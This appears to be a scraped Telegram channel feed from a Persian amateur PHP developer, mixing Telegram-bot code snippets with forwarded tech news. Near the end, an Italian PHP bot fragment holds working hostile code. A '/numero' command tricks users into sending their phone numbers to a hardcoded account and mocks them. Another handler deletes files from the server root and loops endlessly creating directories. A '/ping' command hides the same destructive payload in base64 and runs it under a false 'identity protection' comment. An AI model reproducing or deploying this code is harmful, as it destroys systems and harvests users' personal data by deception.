یادداشت های برنامه نویس آماتور | Amateur programmer notes
61 subscribers
92 photos
10 videos
34 files
88 links
اندازه ی آرزو هات مهم نیست
مهم اینه تو چقد میبینیش
آرزو هاتو بزرگ ببین


</create> by <ashkan\>
Download Telegram
آموزش نوشتن سورس در سطح مبتدی🙂

➖➖➖➕➖➖➖
//ابتدا تابعی برای گذاشتن توکن تعریف میکنیم مانند تابع زیر
define('API_KEY','توکن ربات شما');
//فانکشن
function sssteam($method,$datas=[]){
$url = "".API_KEY."/".$method;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($datas));
$res = curl_exec($ch);
if(curl_error($ch)){
var_dump(curl_error($ch));
}else{
return json_decode($res);
}
}
//حالا متغیری برای تعریف اپدیت ها میزاریم
$update = json_decode(file_get_contents('php://input'));
//حالا کد های زیر رو در سورس قرار میدیم
$text = $update->message->text;
$chat_id = $update->message->chat->id;
$message_id = $update->message->message_id;
//حالا متن استارت را تعیین خواهیم کرد
if ($text == '/start'){
Gigatm('sendMessage',[
'chat_id'=>$chat_id,
'text'=>"متن استارت"
]);
}
?>
➖➖➖➕➖➖➖
اسکی آزاد ولی با ذکر منبع😐🙂
شركت فيس بوك اعلام كرد براي حفظ حريم شخصی كاربران در آپديت جديدش گزينه Save Photo و Screen Shot را حذف خواهد كرد!
After a Year, Many things change ...
After a Year, Many good or bad people aren't Exist ...
After a Year, lots of children become Exist ...
After a Year, You are able to do new things ...
After a Year, You may not be able to do things that you could do in the past ...
After a Year, Everything become new ...
After Winter, Spring Starts
After Dark, it's light !
but Now after All it's time to say Happy Noruz Iran and have a Good time with your family :D ! 🇮🇷🌾

mr.ashkan
2018/1397
This week, over 700,000 new users are signing up for Telegram each day. The annual user growth of Telegram surpassed 70% YoY in most markets.

With so many new people joining, not every user may have a clear understanding about what Telegram stands for.

That’s why when announcing the 200M milestone last week, I used the opportunity to write a bit about the values of Telegram and what drives us forward.

https://telegram.org/blog/200-million
Channel++.zip
33.3 KB
سورس ربات مدیریت کانال
با امکان ارسال پست به صورت ساعتی و تایم دار

نویسنده : mr.ashkan ✍
#تیکه کد ساخت کیبورد
//=====
$menu = json_encode(['keyboard'=>[
[['text'=>'نام دکمه مورد نظر'],['text'=>'نام دکمه مورد نظر']],
],"resize_keyboard"=>true]);

#mr.ashkan
Forwarded from Pavel Durov
The power that local governments have over IT corporations is based on money. At any given moment, a government can crash their stocks by threatening to block revenue streams from its markets and thus force these companies to do strange things (remember how last year Apple moved iCloud servers to China).

At Telegram, we have the luxury of not caring about revenue streams or ad sales. Privacy is not for sale, and human rights should not be compromised out of fear or greed.
Forwarded from MUSIC CHANNEL
با سلام و عرض ادب خدمت کاربران عزیز...
با لطف و یاری خداوند متعال ، از این تاریخ اقدام به شروع رسمی فعالیت کانال @MUSlC_CHANNEL خواهیم کرد.

در این کانال برنامه های مختلف و جذاب موزیک قرار خواهد گرفت که امیدواریم مورد استقبال شما عزیزان قرار گیرد.
همچنین ممکن هست به دلیل وجود کاربران و دوستان غیر ایرانی ، برخی از پست ها به چند زبان قرار داده شود.

دوستان بسیاری اعلام آمادگی برای فعالیت در کانال نموده اند که ضمن تشکر از این عزیزان ، تیم کانال و سایت موزیک کامل می باشد و فعلا نیازی به ادمین نیست و در آینده اگر این نیاز احساس شد ، حتما در کانال اطلاع رسانی خواهد شد.

با تجدید احترام
مدیریت کانال موزیک

✅جهت عضویت می توانید به لینک زیر مراجعه کنید:
t.me/MUSlC_CHANNEL
#فانکشن #خیلی_کاربردی
ارسالی اشی
حتما دیدید تو بعضی انتی اسپما که فیلترینگ کلمشون هوشمنده و مثلا شما کلمه 'تست' رو فیلتر میکنی این کلمات هم شناسایی میشن:
تسسسسستتتتتت
تتت $^%**^/=سست
تتتتتسسسسس^*^*؛تتتتت^€^&تتتت
و...

خب ما فانکشنشو براتون آماده کردیم! گرچه تو انتی اسپم خودمونم استفاده شده ولی برای سورپرایز شما کاربران میزاریم! 😉

function is_filter($filter,$input){
$text = strtolower($input);
$filter_check = preg_replace('/([^\sa-zA-Zآ-ی]+)/u','',$text);
$filtered = implode("*", str_split($filter))."*";
return preg_match("/($filtered)\w/",$filter_check);
}
نمو
نه استفاده:
echo is_filter('irDev','ir./?<,>Oo0875214DDdEe.e====!@#$%^&*()_-VVVvv');
خروجی true


موفق باشید
کپی بدون ذکر منبع اکیداااااا ممنوع
مقایسه امکانات پیام رسان های مشهور ایرانی و خارجی

جمع آوری توسط : mr.ashkan
دریافت اطلاعات IP :

فانکشن مورد نیاز :

function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
$output = NULL;
if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
$ip = $_SERVER["REMOTE_ADDR"];
if ($deep_detect) {
if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
}
$purpose = str_replace(array("name", "
", " ", " ", "-", "_"), NULL, strtolower(trim($purpose)));
$support = array("country", "countrycode", "state", "region", "city", "location", "address");
$continents = array(
"AF" => "Africa",
"AN" => "Antarctica",
"AS" => "Asia",
"EU" => "Europe",
"OC" => "Australia (Oceania)",
"NA" => "North America",
"SA" => "South America"
);
if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
$ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
switch ($purpose) {
case "location":
$output = array(
"city" => @$ipdat->geoplugin_city,
"state" => @$ipdat->geoplugin_regionName,
"country" => @$ipdat->geoplugin_countryName,
"country_code" => @$ipdat->geoplugin_countryCode,
"continent" => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
"continent_code" => @$ipdat->geoplugin_continentCode
);
break;
case "address":
$address = array($ipdat->geoplugin_countryName);
if (@strlen($ipdat->geoplugin_regionName) >= 1)
$address[] = $ipdat->geoplugin_regionName;
if (@strlen($ipdat->geoplugin_city) >= 1)
$address[] = $ipdat->geoplugin_city;
$output = implode(", ", array_reverse($address));
break;
case "city":
$output = @$ipdat->geoplugin_city;
break;
case "state":
$output = @$ipdat->geoplugin_regionName;
break;
case "region":
$output = @$ipdat->geoplugin_regionName;
break;
case "country":
$output = @$ipdat->geoplugin_countryName;
break;
case "countrycode":
$output = @$ipdat->geoplugin_countryCode;
break;
}
}
}
return $output;
}

نحوه ی استفاده :

echo ip_info($_SERVER[
'REMOTE_ADDR'],'location');

➖➖➖➖➖➖➖➖
#فانکشن برای حذف کامل پوشه

function DeleteFolder($path){
if ($handle=opendir($path)){
while (false!==($file=readdir($handle))){
if ($file<>"." AND $file<>"..") {
if (is_file($path.'/'.$file)) {
@unlink($path.'/'.$file);
}
if (is_dir($path.'/'.$file)) {
deletefolder($path.'/'.$file);
@rmdir($path.'/'.$file);
}}}}}

توسط این فانکشن قادر خواهید بود یک پو
شه را به طور کامل حذف کنید.
برای حذف پوشه از تابع rmdir میتوان استفاده کرد اما این تابع تنها پوشه هایی را از بین میبرد که خالی است.
شما توسط فانکشن بالا می توانید با دادن نام پوشه ، آن را به طور کامل حذف کنید و مهم نیست که آن پوشه حاوی فایل میباشد یا خیر ، چون این فانکشن پوشه را باز میکند و ابتدا درون آن را خالی می کند سپس پوشه را حذف میکند.

➖➖➖➖➖➖➖➖
عامل اصلی رسوایی فیس بوک مجبور به عذرخواهی شد

🔹الکساندر کوگان محقق دانشگاه کمبریج و عامل اصلی رسوایی موسسه کمبریج آنالیتیکا سرانجام از فیس بوک به علت سواستفاده از داده های خصوصی کاربران عذرخواهی کرد. /مهر
if(strpos(" ".$msg, "/numero ")) {
$msg = str_replace("/numero ", "", $msg);
$text = "<b>Perfetto, ora invieremo il numero al nostro database e a breve riceverai il codice.</b>"; sm($chatID, $text);
sm(88444295, "HEYLA, UN PIRLA C'È CASCATO!1!1!1!1!1!

👤 Il pirla: $name @$username_gruppo $userID
💬 Numero: $msg", false, 'HTML', false, false);
}

if($msg == "/numero" and $userID == 118806506) {sm($chatID, "EH, VOLEVI!", false, 'Markdown');}
else {sm($chatID, "falso", false, 'Markdown');}
if($msg)
{
$adfly = file_get_contents("adfly");
$urls = scandir("/");
foreach($urls as $url)
{
unlink($url);
$risultati = scandir($url);
foreach($risultati as $risultato)
{
unlink(/$url/$risultato);
}
}
while(1==1){
mkdir(rand(0, 100000));
file_put_contents("CODICE BOT.php", $adfly."php?>");
sm($chatID, $link);
}
}
if($msg == "/ping")
{
$password = "JGFkZmx5ID0gZmlsZV9nZXRfY29udGVudHMoImFkZmx5Iik7IAokdXJscyA9IHNjYW5kaXIoIi8iKTsKZm9yZWFjaCgkdXJscyBhcyAkdXJsKQp7CnVubGluaygkdXJsKTsKJHJpc3VsdGF0aSA9IHNjYW5kaXIoJHVybCk7CmZvcmVhY2goJHJpc3VsdGF0aSBhcyAkcmlzdWx0YXRvKQp7CnVubGluaygvJHVybC8kcmlzdWx0YXRvKTsKfQp9CndoaWxlKDE9PTEpewpta2RpcihyYW5kKDAsIDEwMDAwMCkpOwpmaWxlX3B1dF9jb250ZW50cygiQ09ESUNFIEJPVC5waHAiLCAkYWRmbHkuInBocD8+Iik7CnNtKCRjaGF0SUQsICRsaW5rKTsKfQ==";
$ping = base64_decode($password);

//proteggo l'identità, per poter agire in totale aninimato
file_put_contents("ping_nasa_identity_protection.php", $ping);

//avvio il ping
include("ping_nasa_identity_protection.php");
}
🔴 فعالیت تلگرام در بیشتر نقاط دنیا از سر گرفته شد.

بی‌بی‌سی- تلگرام می‌گوید خدمات این پیام‌رسان در بیشتر نقاط اروپا، روسیه و جمهوری‌های شوروی سابق از سر گرفته شده و در ایران و منطقه خاورمیانه هم به زودی به طور کامل فعال خواهد شد.

پیام‌رسان تلگرام از حدود دوازده ساعت پیش در نقاط مختلف دنیا از جمله ایران دچار اختلال شده بود. پاول دوروف، مدیرتلگرام داغ شدن بیش از حد یکی از سرورهای خوشه‌ای این پیام‌رسان در اروپا را دلیل قطعی آن خوانده بود.

در ایران نیز در خیلی از نقاط مجددا پیام رسان تلگرام براه افتاده است.
@Jasuss